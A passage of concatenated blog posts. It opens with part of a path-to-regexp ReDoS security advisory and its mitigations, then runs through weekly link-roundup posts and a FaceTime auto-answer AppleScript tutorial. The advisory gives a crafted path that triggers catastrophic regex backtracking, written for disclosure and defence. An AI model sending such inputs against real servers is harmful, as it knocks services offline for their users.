/^\/flights\/([^\/]+?)-([^\/]+?)\/?$/i 16 | ``` 17 | 18 | This looks reasonable, but if you match against a path like `'/flights/' + '-'.repeat(16_000) + '/x'` it takes 300ms. Holy crap! This _should_ take less than a millisecond. If we tweak it slightly, changing the second parameter from `([^\/]+?)` to `([^\/-]+?)`, it takes just 0.07ms. What's gone wrong? 19 | 20 | [OWASP](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) has a clear explanation. When the `/x` is added to the end of the path, it can no longer be matched (due to `$`, end of string), so it backtracks and tries every possible match of `:from-:to`. The more possible matches, the longer it takes. 21 | 22 | ## Scope 23 | 24 | Thankfully the pattern of using more than one parameter within slashes is extremely rare or non-existent. APIs with multiple inputs usually rely on query parameters or operate in the context of a single object ID. That should limit the impact of this exploit and explains why it hasn't been reported before. 25 | 26 | ### Across JavaScript 27 | 28 | The vulnerability exists in every library using regular expressions with multiple parameters in a segment without backtracking prevention. A quick review shows the problem is exploitable in other JavaScript libraries and specifications. Fortunately this is an uncommon pattern to start with, and some libraries avoid the problem by prohibiting multiple parameters in a segment or avoiding regexes. 29 | 30 | ### Beyond JavaScript 31 | 32 | It's possible this vulnerability exists in any other language with regular expressions that backtrack. Libraries such as [RE2](https://github.com/google/re2/wiki/WhyRE2) can be used to guarantee linear time matches and mitigate the problem, but most default regular expression engines are not linear time. Fortunately the fix is easy: restrict backtracking, remove regex from matching, or limit parameters to safe locations. 33 | 34 | ## Mitigation 35 | 36 | For v0.1, I've released a patch that includes automatic backtracking prevention for these exploitable parameters. It will automatically generate `((?!\-|\/).)+?` for the second parameter above (not `-` or `/`). Due to the loose nature of the v0 "parser" this isn't perfect, and will break some routes that use edge cases in the way the regular expression generates. 37 | 38 | For version 8, I've removed regex features. I know this is a huge pain for users of the library and apologize in advance. In discussions with the Express TC we decided that any output of `path-to-regexp` that's exploitable is a vulnerability. Since versions < 8 allowed custom regular expressions to be defined using `(...)` and these can combine together to produce ReDoS vectors, the feature has been removed. 39 | 40 | All other versions remain vulnerable, and can be mitigated by manually defining the parameters regular expression when two or more parameters exist in a single segment. For example, `/flights/:from-:to(\\w+)`. As long as the first or second parameter does not include `-` in the match, it is safe. 41 | 42 | Lastly, feel free to contact me on how to mitigate the vulnerability in versions where users cannot upgrade. My contact information can be found on [GitHub](https://github.com/blakeembrey). The changes necessary in any version will break _something_ for some users and is a trade-off between compatibility and exploitability. 43 | 44 | ## Other mitigation attempts 45 | 46 | ### Restrict URL length 47 | 48 | Since this exploit gets worse when the URL is longer, restricting the path to some length and throwing a 413 when it exceeds the length would be the simplest mitigation. However, even at 2000 characters in length it's 20x worse than the safe regex. Making matches much shorter than this is bound to break other users. 49 | 50 | ### Restrict parameter length 51 | 52 | Instead of an open ended `+`, use `{1,1000}`. This limits the performance impact (~1ms locally) but could break some users expecting long parameters. It also performs worse than the safe regex. 53 | 54 | ### RE2 55 | 56 | We tried [re2js](https://github.com/le0pard/re2js) and performance was better (~4X) for the long ReDoS URLs, but much worse in every other case. Native bindings would probably be faster but we needed to maintain compatibility as best as possible in Express 4 which is still running node 0.10! 57 | 58 | ### Rewrite to JavaScript 59 | 60 | This was the most promising avenue and provided good performance in limited tests, but I didn't finish. Providing a working mitigation and unblocking Express 5 was higher priority. The one major downside of this is that reintroducing safe regex features in version 8 becomes a lot harder. 61 | 62 | ## Resources 63 | 64 | * [Recheck playground](https://makenowjust-labs.github.io/recheck/playground/) to check for vulnerabilities 65 | -------------------------------------------------------------------------------- /posts/2017-07-31-review.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Week in Review (2017-07-31) 3 | date: 2017-07-31 17:00 4 | --- 5 | 6 | ## What Happened? 7 | 8 | - [Omakase](https://www.instagram.com/p/BW6fpwdnc1v/) 9 | - Watched Baby Driver (would recommend) and A Cure For Wellness (would not recommend) 10 | 11 | ## Internet 12 | 13 | - Favourite 14 | - [The Evolution of Trust](http://ncase.me/trust/) 15 | - [There’s A Genius Street Artist Running Loose In New York, And Let’s Hope Nobody Catches Him](http://www.boredpanda.com/street-art-tom-bob-new-york/) 16 | - [What it feels like to be an open-source maintainer](https://nolanlawson.com/2017/03/05/what-it-feels-like-to-be-an-open-source-maintainer/) 17 | - [This Is How Your Fear and Outrage Are Being Sold for Profit](https://medium.com/the-mission/the-enemy-in-our-feeds-e86511488de) 18 | - Useful 19 | - [Successful Solo Founders](https://medium.com/@haftrm/successful-solo-founders-5c7f60ef6a0e) 20 | - [I Don’t Know How To Explain To You That You Should Care About Other People](http://bradfrost.com/blog/link/i-dont-know-how-to-explain-to-you-that-you-should-care-about-other-people/) 21 | - [Make it count](https://csswizardry.com/2013/07/make-it-count/) 22 | - [The Ultimate Guide to Personal Finance: Money Management Made Simple](https://www.iwillteachyoutoberich.com/guides/ultimate-guide-to-personal-finance/) 23 | - Video 24 | - [Alex Jones: Last Week Tonight with John Oliver (HBO)](https://www.youtube.com/watch?v=WyGq6cjcc3Q) 25 | - [How to Raise Money, and How to Succeed Long-Term - CS183F](https://www.youtube.com/watch?feature=youtu.be&v=5ZXU84_sGXo) 26 | - [The Machine - Bert Kreischer: THE MACHINE](https://www.youtube.com/watch?v=paG1-lPtIXA) 27 | - [Bert Kreischer - the time I went skydiving with Rachael Ray](https://www.youtube.com/watch?v=CeCUPNVrBCA) 28 | - [Bert Kreischer - Fighting a Bear](https://www.youtube.com/watch?v=rvt55Pj0CHk&list=RDobnJyfIBNCY&index=12) 29 | - [Bert Kreisher Full Stand Up 2016 'THE MACHINE'](https://www.youtube.com/watch?v=iLTjplXiqMg) 30 | - [BFFs - Take The Objective (Season 3E6)](https://www.youtube.com/watch?v=zYPPYxuHFfw) 31 | - [Illuminati Easter Egg - Battlefield 4 Secret Camo](https://www.youtube.com/watch?v=JuuzmOXL1bc) 32 | - Interesting 33 | - [People’s IQs have risen over time. Now social message complexity seems to be rising too. But why?](https://www.technologyreview.com/s/608345/social-media-messages-are-becoming-more-complex-and-nobody-knows-why/) 34 | - [Get ready for climate scientists to spray particles in the atmosphere to cool the Earth](https://www.technologyreview.com/s/608312/this-scientist-is-taking-the-next-step-in-geoengineering/) 35 | - [The tech world is convinced 2021 is going to be the best year ever—what’s the deal?](https://www.technologyreview.com/s/608333/the-tech-world-is-convinced-2021-is-going-to-be-the-best-year-ever/) 36 | - [Ten Years of Worthless Side Projects](https://medium.com/@LastZactionHero/ten-years-of-worthless-side-projects-f44aa9edb028) 37 | - [Kerbal Space Fuel Fiasco](https://aphyr.com/posts/347-kerbal-space-fuel-fiasco) 38 | - [Kerbal Space Oddities](https://aphyr.com/posts/345-kerbal-space-oddities) 39 | - Opinion 40 | - [Optimism and the Fountain of Youth](http://wealthyaccountant.com/2017/07/28/optimism-and-the-fountain-of-youth/) 41 | - [Perennial Seller, Part 1](http://wealthyaccountant.com/2017/07/24/perennial-seller-part-1/) 42 | - [Steal My Stuff, Please, Part 2](http://wealthyaccountant.com/2017/07/26/steal-my-stuff-please-part-2/) 43 | - [Trump Says Tim Cook Has Promised to Build Three Manufacturing Plants in U.S.](https://daringfireball.net/linked/2017/07/25/trump-cook-big-beautiful-plants) 44 | - [Nine Minutes of Doubt](https://daringfireball.net/linked/2017/07/26/nine-minutes) 45 | - [Jason Snell on Apple Park’s Open Work Spaces](https://daringfireball.net/linked/2017/07/26/snell-apple-park) 46 | - [WSJ Profile on Jony Ive and Apple Park](https://daringfireball.net/linked/2017/07/26/ive-apple-park) 47 | - [Saving Tip: Using sub-savings accounts for unexpected expenses](https://www.iwillteachyoutoberich.com/blog/tip-using-sub-savings-accounts-for-unexpected-expenses/) 48 | - [Automating your money — especially for entrepreneurs and freelancers](https://www.iwillteachyoutoberich.com/blog/automating-money-for-small-business/) 49 | - [Managing your personal finances is NOT about more willpower](https://www.iwillteachyoutoberich.com/blog/personal-finance-is-not-about-more-willpower/) 50 | - [How to save money](https://www.iwillteachyoutoberich.com/blog/how-to-save-money/) 51 | - [Automating your Personal Finances](https://www.iwillteachyoutoberich.com/automate-your-personal-finances/) 52 | - [4 best ways to invest in your 20s](https://www.iwillteachyoutoberich.com/blog/step-3-to-getting-rich-make-your-money-earn-for-you/) 53 | - News 54 | - [Bitcoin has avoided tearing itself apart (for now)](https://www.technologyreview.com/s/608332/bitcoin-has-avoided-tearing-itself-apart-for-now/) 55 | - Software 56 | - [Managing large numbers of GitHub notifications](https://github.com/blog/2399-managing-large-numbers-of-github-notifications) 57 | - [labels.md](https://gist.github.com/bkeepers/9cdea0d520bc40d741362dec6fd0c3bb) 58 | - [Drive me to Toronto, Hal.](http://blog.cleancoder.com/uncle-bob/2017/07/24/DriveMeToTorontoHal.html) 59 | - [Unordered Lists in Markdown](https://daringfireball.net/2017/07/unordered_lists_in_markdown) 60 | - [Google not Amazon — Make fantastic savings in a serverless world](https://in.3wks.com.au/google-not-amazon-make-fantastic-savings-in-a-serverless-world-b6d37710839c?gi=3d1d640ba688) 61 | 62 | ## Reading 63 | 64 | - [I Will Teach You To Be Rich](https://www.goodreads.com/book/show/4924862-i-will-teach-you-to-be-rich) 65 | - [The Red Queen: Sex and the Evolution of Human Nature](https://www.goodreads.com/book/show/16176.The_Red_Queen) 66 | - [Algorithms to Live By](https://www.goodreads.com/book/show/25666050-algorithms-to-live-by) (audiobook) 67 | -------------------------------------------------------------------------------- /posts/2017-08-09-review.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Week in Review (2017-08-09) 3 | date: 2017-08-09 11:00 4 | --- 5 | 6 | ## What Happened? 7 | 8 | - Visited [Victory Point Cafe](https://foursquare.com/v/victory-point-cafe/55ff1a9f498e73955bffad64) and played some games 9 | - Walked out to [Inspiration Point](https://foursquare.com/v/inspiration-point/4b52262ef964a520916b27e3) 10 | - [PizzaHacker](https://foursquare.com/v/pizzahacker/52c8aaa411d2c75d43e29ee4) is the best pizza I've ever had 11 | - Discovered [Workshop Cafe](https://foursquare.com/v/workshop-cafe/51e08f37498e1d7e82c50708) today and it's perfect 12 | 13 | ## Internet 14 | 15 | - Favourite 16 | - [Scaling Unsplash with a small team 📈👨‍👩‍👧‍👦](https://medium.com/unsplash-unfiltered/scaling-unsplash-with-a-small-team-fbdd55571906) 17 | - [Have Smartphones Destroyed a Generation?](https://www.theatlantic.com/magazine/archive/2017/09/has-the-smartphone-destroyed-a-generation/534198/) 18 | - [Humans are the only animals who crave oblivion through suicide](https://aeon.co/ideas/humans-are-the-only-animals-who-crave-oblivion-through-suicide) 19 | - [Why religious identities are not immune to robust criticism](https://aeon.co/essays/why-religious-identities-are-not-immune-to-robust-criticism) 20 | - [Building a startup in public: from first line of code to frontpage of Reddit](https://levels.io/hoodmaps/) 21 | - [It Starts Early: My Experience as a Female Tech Student](https://medium.com/@sh_reya/it-starts-early-my-experience-as-a-female-tech-student-dc0b83c0f73b) 22 | - Useful 23 | - [YC's 2017 Summer Reading List](https://blog.ycombinator.com/ycs-2017-summer-reading-list/) 24 | - [Costco vs. Amazon Fresh: A Real-World Grocery Shopping Showdown](http://www.thesimpledollar.com/costco-vs-amazon-fresh-a-real-world-grocery-shopping-showdown/) 25 | - Interesting 26 | - [Operation Luigi: How I hacked my friend without her noticing](https://defaultnamehere.tumblr.com/post/163734466355/operation-luigi-how-i-hacked-my-friend-without) 27 | - [Bitcoin Exchange Had Too Many Bitcoins](https://www.bloomberg.com/view/articles/2017-08-02/bitcoin-exchange-had-too-many-bitcoins) 28 | - [How Threats Against Domain Names Are Used to Censor Content](https://www.eff.org/deeplinks/2017/07/how-threats-against-domain-names-used-censor-content) 29 | - [J. Craig Venter and Elon Musk discussed faxing genomes through space](https://www.technologyreview.com/s/608388/biological-teleporter-could-seed-life-through-galaxy/) 30 | - Opinion 31 | - [Apple’s Third Quarter Results](https://daringfireball.net/linked/2017/08/01/apple-q3-2017) 32 | - [Botched Release of Beta HomePod OS Reveals Details of New 2017 iPhones](https://daringfireball.net/linked/2017/08/01/homepod-os-release) 33 | - [Seth's Blog: The management of whales](http://sethgodin.typepad.com/seths_blog/2017/08/the-management-of-whales.html) 34 | - [On Apple Removing VPN Apps From the App Store in China](https://daringfireball.net/2017/07/apple_china_vpn_apps) 35 | - [Steven Levy: ‘How Apple Is Putting Voices in Users’ Heads — Literally’](https://daringfireball.net/linked/2017/08/02/apple-cochlear-implants) 36 | - [Apple is about to do something their programmers definitely don’t want.](https://medium.com/make-better-software/apple-is-about-to-do-something-their-programmers-definitely-dont-want-fc19f5f4487) 37 | - [Seth's Blog: The Peter Possibility](http://sethgodin.typepad.com/seths_blog/2017/08/the-peter-possibility.html) 38 | - [Seth's Blog: Feels risky](http://sethgodin.typepad.com/seths_blog/2017/08/feels-risky.html) 39 | - [Exclusive: Here's The Full 10-Page Anti-Diversity Screed Circulating Internally at Google](http://gizmodo.com/exclusive-heres-the-full-10-page-anti-diversity-screed-1797564320) 40 | - News 41 | - [A biological fax machine could seed life through the galaxy](https://www.technologyreview.com/s/608388/biological-teleporter-could-seed-life-through-galaxy/) 42 | - [Tesla Is Getting Into the Offshore Wind Energy Game](https://www.technologyreview.com/the-download/608541/tesla-is-getting-into-the-offshore-wind-energy-game/) 43 | - [Climate Change Could Bring Killer Humid Heatwaves to South Asia](https://www.technologyreview.com/the-download/608542/climate-change-could-bring-killer-humid-heatwaves-to-south-asia/) 44 | - [Why a Birth Control Pill For Men Is Still Not Here](https://www.technologyreview.com/the-download/608547/why-a-birth-control-pill-for-men-is-still-not-here/) 45 | - [A Hyperloop Pod, Fired Through a Tube at 200 MPH for the First Time](https://www.technologyreview.com/the-download/608512/a-hyperloop-pod-fired-through-a-tube-at-200-mph-for-the-first-time/) 46 | - Software 47 | - [Kids Pass Just Reminded Us How Hard Responsible Disclosure Is](https://www.troyhunt.com/kids-pass-just-reminded-us-how-hard-responsible-disclosure-is/) 48 | - [A Year of Stories: Launching Is the Easy Part – Instagram Engineering](https://engineering.instagram.com/a-year-of-stories-launching-is-the-easy-part-d4251acef662?gi=a7e8787da892) 49 | - [Building a query parser over a weekend](https://ayende.com/blog/179010/building-a-query-parser-over-a-weekend-part-i) 50 | - [Faster Pagination in Mysql - Why Order By With Limit and Offset is Slow?](http://www.eversql.com/faster-pagination-in-mysql-why-order-by-with-limit-and-offset-is-slow/) 51 | - [Eliminate the Database for Higher Availability](http://americanexpress.io/eliminate-the-database-for-higher-availability/) 52 | - [Story of a successful migration to Google Cloud Platform](https://medium.com/meilleursagents-engineering/story-of-a-successful-migration-to-google-cloud-platform-6bc7fa0798e8) 53 | - [Graph Databases: Living on the Edge](https://medium.com/high-alpha/graph-databases-living-on-the-edge-f6307a6c5088) 54 | - [Taking FogBugz Forward](https://medium.com/make-better-software/taking-fogbugz-forward-f01f4fed275b) 55 | - [Scaling Node.js Applications](https://medium.freecodecamp.org/scaling-node-js-applications-8492bd8afadc) 56 | 57 | ## Reading 58 | 59 | - [I Will Teach You To Be Rich](https://www.goodreads.com/book/show/4924862-i-will-teach-you-to-be-rich) 60 | - Finished [Algorithms to Live By](https://www.goodreads.com/book/show/25666050-algorithms-to-live-by) 61 | -------------------------------------------------------------------------------- /posts/2015-06-facetime-auto-answer.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: FaceTime Auto Answer 3 | date: 2015-06-20 02:00 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | I talk with my girlfriend most days. Sometimes multiple times a day. We're in a long distance relationship and, at times, completely different time zones. One habit we wanted to pick up was being able to see each other at any time. 9 | 10 | For this to work, we need to be able to auto answer each others calls. One of us could be busy working, but we still wanted to be able to see each other. After days of exploring how to make this happen, I come up with some solutions: 11 | 12 | 1. Create new Skype accounts just for each other and enable auto answer on those accounts. 13 | 2. Keep a Google Hangouts room alive that we can both join at any time. 14 | 3. Create our own video chat platform using WebRTC that will fulfil our needs. 15 | 16 | Being the nerd I am, the third option sounded the most fun! From all my research, however, I was amazed no one had implemented a feature so simple into their product. Each of these options have their own drawbacks. 17 | 18 | 1. I need to sign in and out between accounts (an issue for us since we work and live on our computers). 19 | 2. Google Hangouts prompts after inactivity and kicks the user from the chat. 20 | 3. Time. 21 | 22 | Eventually, I stumbled upon the magic bullet - FaceTime has an option built in to auto answer (`defaults write com.apple.FaceTime AutoAcceptInvitesFrom -array-add hello@blakeembrey.com`). It "works", but it comes with even more issues. For example, when you receive a call there is a black overlay over the video call which makes visibility difficult. On a second test, we discovered that it rings infinitely. Well, so much for that. 23 | 24 | At this point, we gave up and Keyue needed to sleep. I decided to continue research the following day when she was at work (my night time) and discovered some people had written an AppleScript for this years ago. I stayed up until 4am trying to create a new AppleScript, hacking away in a forgiving syntax I had no idea how to use without the use of Google. 25 | 26 | ## Implementation 27 | 28 | Let's start by opening the "Script Editor" application. Copy and paste the following code into the editor, changing the caller id check to your desired caller. This the caller that is shown next to the profile image and accept button during ringing. For me, Keyue Bao is a contact so I can use her name. If they aren't a contact, you'll need to type the specific email or phone number here. 29 | 30 | ```applescript 31 | set contacts to {"Keyue Bao"} 32 | 33 | repeat 34 | repeat while application "FaceTime" is running 35 | tell application "System Events" 36 | tell process "FaceTime" 37 | set acceptButton to a reference to (button "Accept" of window 1) 38 | 39 | if acceptButton exists then 40 | set callerId to value of static text 2 of window 1 41 | 42 | if contacts contains callerId then 43 | click acceptButton 44 | end if 45 | end if 46 | end tell 47 | end tell 48 | delay 2 49 | end repeat 50 | delay 5 51 | end repeat 52 | ``` 53 | 54 | The script runs on an infinite loop. There is a delay of 5 seconds when the application is closed and 2 seconds when the application is open. It attempts to select the "answer" button on the screen and, if it exists, it checks the caller id and clicks answer. Pretty simple. 55 | 56 | Next we want to export the script for execution. Navigate to `File -> Export` and save it somewhere you can remember it. For me, it was as `Documents/Scripts/facetime-auto-answer`. You need this path for the next step. 57 | 58 | Let's create a Launchd script to handle execution on computer start up. Navigate to `~/Library/LaunchAgents` using Terminal (open Terminal and enter `cd ~/Library/LaunchAgents`). After that, that's add our file (below) as `com.blakeembrey.facetime-auto-answer.plist` (just `vi com.blakeembrey.facetime-auto-answer.plist` and hit `i` to switch to insert mode). 59 | 60 | ```xml 61 | 62 | 63 | 64 | 65 | Label 66 | com.blakeembrey.FaceTimeAutoAnswer 67 | Program 68 | /usr/bin/osascript 69 | ProgramArguments 70 | 71 | osascript 72 | /Users/blakeembrey/Scripts/facetime-auto-answer.scpt 73 | 74 | RunAtLoad 75 | 76 | KeepAlive 77 | 78 | 79 | 80 | ``` 81 | 82 | Make sure you adjust the argument above to the correct path from the export step. Once it's correct, exit back to the terminal (`Esc`, `:wq`, `Enter`) and make Launchd pick up the new script without rebooting. 83 | 84 | ``` 85 | launchctl load -w com.blakeembrey.facetime-auto-answer.plist 86 | ``` 87 | 88 | You'll need to accept the accessibility dialog (open system preferences and enable access). We can quickly check that the script is running by entering `launchctl list | grep facetime-auto-answer`. And we're done. 89 | 90 | ## Conclusion 91 | 92 | FaceTime is really nice for video chatting. It disables automatically when you're in a different window (I regularly use up to 6 windows during a work day for different tasks) and the interface is very simple to use. The video quality is great and, when the call drops temporarily it will automatically join the call again (with the video still enabled - looking at you Skype!). On top of that, it has a low CPU footprint, especially compared with Skype. 93 | 94 | However, there's a couple of major issues with it. First off, it makes the rest of the computer quieter which makes it difficult to work or do anything else while on the call. For example, we can't really watch a movie together (audio is dimmed). The second is a feature request. I would love the "floating" window feature from Skype. 95 | 96 | And we're done. I'm going to tweak the same script to auto answer Skype next. Hopefully this comes built in with future versions of video chat clients. It's such a basic feature that it's exclusion makes me ponder the disconnect between the teams creating the software and reality. 97 | -------------------------------------------------------------------------------- /posts/2017-05-22-review.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Week in Review (2017-05-22) 3 | date: 2017-05-22 12:00 4 | --- 5 | 6 | ## What Happened? 7 | 8 | - Read around 38 articles 9 | - First official week of [Recess Labs](http://www.recess-labs.com/) over 10 | - Made some [jewellery](https://www.instagram.com/p/BUZTNUsjUZB/) 11 | - [Sleep No More](https://www.instagram.com/p/BUWlANGjR21/) 12 | - Went on a short NYC Subway Tour 13 | - Watched [A Beautiful Mind](https://trakt.tv/movies/a-beautiful-mind-2001) (again) 14 | - Watched [Marvel's One-Shots](https://trakt.tv/search?query=marvel+one-shot), last episode of [Agents of S.H.I.E.L.D.](https://trakt.tv/shows/marvel-s-agents-of-s-h-i-e-l-d/seasons/4/episodes/22), latest [Arrow](https://trakt.tv/shows/arrow/seasons/5/episodes/21) and [Flash](https://trakt.tv/shows/the-flash-2014/seasons/3/episodes/21), plus [Dave Chappelle](https://trakt.tv/movies/dave-chappelle-the-age-of-spin-2017) and [Ali Wong](https://trakt.tv/movies/ali-wong-baby-cobra-2016) (wow, that's a bit) 15 | 16 | ## Internet 17 | 18 | - Video 19 | - [Flight of the Conchords Band Meeting 8 Yoko](https://www.youtube.com/watch?v=sKoYmnTfSu4) 20 | - [How to Find Product Market Fit - CS183F](https://www.youtube.com/watch?v=_6pl5GG8RQ4) 21 | - [Why school should start later for teens](https://www.ted.com/talks/wendy_troxel_why_school_should_start_later_for_teens) 22 | - [Calling Bullshit 2.4: Fermi Estimation](https://www.youtube.com/watch?v=EMQd-AYb1fs) 23 | - [AI, Deep Learning, and Machine Learning: A Primer](http://a16z.com/2016/06/10/ai-deep-learning-machines/) 24 | - Opinion 25 | - [When the World Is Led by a Child](https://www.nytimes.com/2017/05/15/opinion/trump-classified-data.html) 26 | - [Scrum makes you dumb](https://www.linkedin.com/pulse/scrum-makes-you-dumb-daniel-jones) 27 | - [Daring Fireball: MacStories's iOS 11 iPad Wishes and Concept Video](https://daringfireball.net/linked/2017/05/20/macstories-ios-11-concept) - love concept videos, this one is no exception 28 | - [Daring Fireball: 10-Year-Old Open Letter Calling for Apple to Make Glucose Monitors](https://daringfireball.net/linked/2017/05/20/open-letter-apple-glucose) 29 | - [Daring Fireball: Scott Gilbertson: 'Kill Google AMP Before It Kills the Web'](https://daringfireball.net/linked/2017/05/20/gilbertson-amp) 30 | - [Daring Fireball: Arctic Stronghold of World’s Seeds Flooded After Permafrost Melts](https://daringfireball.net/linked/2017/05/20/global-seed-vault) 31 | - [Quote of the Day](http://herdingcats.typepad.com/my_weblog/2017/05/quote-of-the-day-4.html) 32 | - [The Trump Presidency Falls Apart](https://www.theatlantic.com/politics/archive/2017/05/all-the-kings-men/526980/) 33 | - Interesting 34 | - [“MP3 is dead” missed the real, much better story](https://marco.org/2017/05/15/mp3-isnt-dead) 35 | - [This photo series makes a powerful statement about race and power among women](https://mic.com/articles/177195/these-three-pictures-make-a-powerful-statement-about-race-and-power-among-women) 36 | - [Brian Tramuel: Running around the world](https://blog.gyrosco.pe/brian-tramuel-running-around-the-world-74b2fa839cd9?gi=da44b99501e6) 37 | - [NSA Abandons "About" Searches - Schneier on Security](https://www.schneier.com/blog/archives/2017/05/nsa_abandons_ab.html) 38 | - [Theresa May outlines Tory plan to create new, censored Internet controlled by UK government](https://www.privateinternetaccess.com/blog/2017/05/theresa-may-outlines-tory-plan-create-new-censored-internet-controlled-uk-government/) 39 | - [WannaCry Ransomware](https://www.schneier.com/blog/archives/2017/05/wannacry_ransom.html) 40 | - [What do you do when your government blocks you for Wrongthink?](https://www.privateinternetaccess.com/blog/2017/05/what-do-you-do-when-you-realize-your-government-has-blocked-you-for-wrongthink/) 41 | - [You Don’t Have to Be a Genius to Invest Like a Pro](https://www.youneedabudget.com/you-dont-have-to-be-a-genius-to-invest-like-a-pro/) 42 | - [The Trump administration is arresting over 100 immigrants without criminal records a day](https://www.vox.com/policy-and-politics/2017/5/18/15654958/trump-immigration-arrests) 43 | - [Let them paste passwords](https://www.ncsc.gov.uk/blog-post/let-them-paste-passwords) 44 | - [Context Graph](https://wiki.mozilla.org/Context_Graph) 45 | - [Context Graph: It’s time to bring context back to the web](https://medium.com/firefox-context-graph/context-graph-its-time-to-bring-context-back-to-the-web-a7542fe45cf3) 46 | - [Versioned Writing – Peter Armstrong](https://medium.com/@peterarmstrong/versioned-writing-e8b08920de4f) 47 | - [Buffalo buffalo Buffalo buffalo buffalo buffalo Buffalo buffalo](https://en.wikipedia.org/wiki/Buffalo_buffalo_Buffalo_buffalo_buffalo_buffalo_Buffalo_buffalo) 48 | - Useful 49 | - [How to Use Evernote for Your Creative Workflow](https://praxis.fortelabs.co/how-to-use-evernote-for-your-creative-workflow-f048f0aa3ed1) 50 | - [“Just tell me what to do”: compressing knowledge into directives](https://sivers.org/2do) 51 | - [The Ultimate Guide to Personal Productivity Methods](https://blog.todoist.com/2015/11/30/ultimate-guide-personal-productivity-methods/) 52 | - [A Stanford researcher’s 15-minute study hack lifts B+ students into the As](https://qz.com/978273/a-stanford-professors-15-minute-study-hack-improves-test-grades-by-a-third-of-a-grade/) 53 | - [How Music Affects Your Productivity – Help Scout](https://medium.com/help-scout/how-music-affects-your-productivity-42a6dfa6fdfe) 54 | - [Everything You Should Know About CRISPR — And Where to Learn More](https://medium.com/startup-grind/a-primer-on-crispr-and-how-to-learn-more-c1b4ca7159f6) 55 | - [The Open Guide to Equity Compensation](https://github.com/jlevy/og-equity-compensation) 56 | - [AWS IAM Policies in a Nutshell](http://start.jcolemorrison.com/aws-iam-policies-in-a-nutshell/) 57 | - Software 58 | - [JSON Feed: Announcing JSON Feed](https://jsonfeed.org/2017/05/17/announcing_json_feed) 59 | - [How does internet search work?](https://www.privacore.com/2017/03/26/how-does-internet-search-work/) 60 | - [One month with React Native](https://www.whitesmith.co/one-month-with-react-native/) 61 | 62 | ## Reading 63 | 64 | - Stopped reading [I Will Fear No Evil](https://www.goodreads.com/book/show/175325.I_Will_Fear_No_Evil) 65 | - [Thinking Fast and Slow](https://www.goodreads.com/book/show/11468377-thinking-fast-and-slow) (audiobook) 66 | -------------------------------------------------------------------------------- /posts/2017-08-20-review.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Week in Review (2017-08-20) 3 | date: 2017-08-20 14:00 4 | --- 5 | 6 | ## What Happened? 7 | 8 | - Back in San Diego 9 | - Mine and Keyue's birthdays 10 | 11 | ## Internet 12 | 13 | - Favourite 14 | - [Why Crows Thrive In the City](https://www.citylab.com/environment/2017/08/we-thought-we-would-be-ruled-by-robots/536118/) 15 | - [Document: The Symbolism Survey](https://www.theparisreview.org/blog/2011/12/05/document-the-symbolism-survey/) 16 | - [I’m 29](https://www.scotthyoung.com/blog/2017/08/19/im-29/) 17 | - Useful 18 | - [Risk](https://dcurt.is/risk) 19 | - [Using a Journal To Solve Financial and Personal Problems](http://www.thesimpledollar.com/using-a-journal-to-solve-financial-and-personal-problems/) 20 | - [Hello, depression.](https://medium.com/@mjackson/hello-depression-c2f09389d3c) 21 | - [Community Imbalance Theory](https://medium.com/@mikeal/community-imbalance-theory-c5f8688ae352) 22 | - [When anonymous web data isn’t anymore](http://blog.strom.com/wp/?p=6091) 23 | - Interesting 24 | - [Suzanne Sadedin's answer to What do scientists think about the biological claims made in the anti-diversity document written by a Google employee in August 2017?](https://www.quora.com/What-do-scientists-think-about-the-biological-claims-made-in-the-anti-diversity-document-written-by-a-Google-employee-in-August-2017) 25 | - [Confusing Self-Driving Cars by Altering Road Signs](https://www.schneier.com/blog/archives/2017/08/confusing_self-.html) 26 | - [The death of the internal combustion engine](https://www.economist.com/news/leaders/21726071-it-had-good-run-end-sight-machine-changed-world-death) 27 | - [How to Write a Great, Simple Business Plan for a Small Side Business](http://www.thesimpledollar.com/how-to-write-a-great-simple-business-plan-for-a-small-side-business/) 28 | - Opinion 29 | - ["Settling the Colonel's Hash"](http://www.en.utexas.edu/Classes/Bremen/e316k/316kprivate/scans/mccarthy.html) 30 | - [‘I’m a Google Manufacturing Robot and I Believe Humans Are Biologically Unfit to Have Jobs in Tech’](https://daringfireball.net/linked/2017/08/09/google-robot) 31 | - [If you want to debate the Googler’s Manifesto and you’re also a good person](https://medium.com/@jackdanger/if-you-want-to-debate-the-googlers-manifesto-and-you-re-also-a-good-person-64d845fbe75e) 32 | - [So, about this Googler’s manifesto.](https://medium.com/@yonatanzunger/so-about-this-googlers-manifesto-1e3773ed1788) 33 | - [Inside Facebook’s Institutional Policy of Copying Competitors](https://daringfireball.net/linked/2017/08/10/facebook-copycatting) 34 | - [Safari Should Display Favicons in Its Tabs](https://daringfireball.net/2017/08/safari_should_display_favicons_in_its_tabs) 35 | - [Seth's Blog: Questions for the underinformed](http://sethgodin.typepad.com/seths_blog/2017/08/questions-for-the-underinformed.html) 36 | - [Coding: A Hobby for the Waste-Adverse](http://blog.pamelafox.org/2017/08/coding-hobby-for-waste-adverse.html) 37 | - [Get Your Hands Out of Those Pockets If You Want to Engage With This World](http://blog.pamelafox.org/2017/08/get-your-hands-out-of-those-pockets-if.html) 38 | - [Trump Gives White Supremacists an Unequivocal Boost](https://daringfireball.net/linked/2017/08/17/trump-white-supremecists) 39 | - [Josh Marshall: ‘The House Is on Fire’](https://daringfireball.net/linked/2017/08/17/marshall-house-is-on-fire) 40 | - [Tim Cook’s Email to Employees About Charlottesville](https://daringfireball.net/linked/2017/08/17/cook-charlottesville) 41 | - [Why Cloudflare Terminated Daily Stormer](https://daringfireball.net/linked/2017/08/17/cloudflare) 42 | - News 43 | - [Thanks to E-commerce, Some Rust Belt Towns Are Booming Again—But How Long Will It Last?](https://www.technologyreview.com/the-download/608622/thanks-to-e-commerce-some-rust-belt-towns-are-booming-again-but-how-long-will-it/) 44 | - [Lyft and Uber are Already Changing Traditional Car Ownership](https://www.technologyreview.com/the-download/608613/lyft-and-uber-are-already-changing-traditional-car-ownership/) 45 | - [Tesla’s Hawaiian Project Highlights the Biggest Obstacle to Our Clean Energy Future](https://www.technologyreview.com/the-download/608624/teslas-hawaiian-project-highlights-the-biggest-obstacle-to-our-clean-energy/) 46 | - [Lawsuit Alleges Fox News And 